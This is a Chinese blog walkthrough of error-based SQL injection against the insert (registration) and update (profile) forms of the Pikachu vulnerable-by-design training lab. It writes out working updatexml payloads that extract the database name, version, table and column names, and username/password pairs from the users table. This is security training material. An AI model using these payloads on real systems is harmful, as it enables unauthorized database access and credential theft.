pikachu 漏洞平台sql注入 之 insert/update注入

一般来说我们判断注入点的时候 如果是注册的地方应该是insert类型的,因为注册相当于往表里插一行新数据。
在这里插入图片描述
我们先来注册个账号 然后burp 抓个包分析一下
在这里插入图片描述
我们看到这里是有六个参数分别对应了 用户 密码 性别 手机 地址 住址
我们看到他提交的方式为post
我们还是首先来判断一下是否存在注入 和闭合的方式
先在第一个参数上加一个 ’ 试一下看看
在这里插入图片描述
爆出了数据库错误 我们可以判断是存在注入的
然后我们们看到参数中 第二个参数 ’ 可以闭合
注册页面是没有sql结果回显的,而且毕竟也不是select语句,也不能采取联合查询注入了。
不过从上一步的操作可以看出来,注册的时候如果sql语句有问题是会报错的,因此报错注入行得通。
构造一下我们的payload
username=xixi’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
在这里插入图片描述
payload中的database()换成user(),可以获得当前登录数据库的用户和host
在这里插入图片描述

把user换成version 可以产看mysql 的版本
在这里插入图片描述
接下一如既往爆表
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or ’
这里用 or 前后连接起来 让他执行咱们构造的语句
在这里插入图片描述
爆出 表接着往上怼
’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or
在这里插入图片描述
接着还是用构造的语句往函数里面怼就是了
update注入
update 操作应该是在修改个人信息的页面操作应该是在修改个人信息的页面
只有性别,手机,住址,邮箱全都有值的时候,才会执行修改用户信息的操作,否则该操作不执行

第一步肯定还是先判断注入点 找闭合 上个引号先
在这里插入图片描述

得到信息 单引号 上一波
在这里插入图片描述
看到报错信息 应该单引号就可以闭合了 接着用报错注入法 构造payload
v’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
在这里插入图片描述
爆出了pikachu 的库
1’ and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #
在这里插入图片描述
1’ and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) #
爆出表 users
在这里插入图片描述接着爆出user 里的字段
1’ and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1)
在这里插入图片描述
接着爆里面的数据
1’ and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from users),1,31),0x7e),1) #
在这里插入图片描述
总结
一般在注册还有后台修改信息的地方多多尝试用报错的方式注入 会有意想不到的结果

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值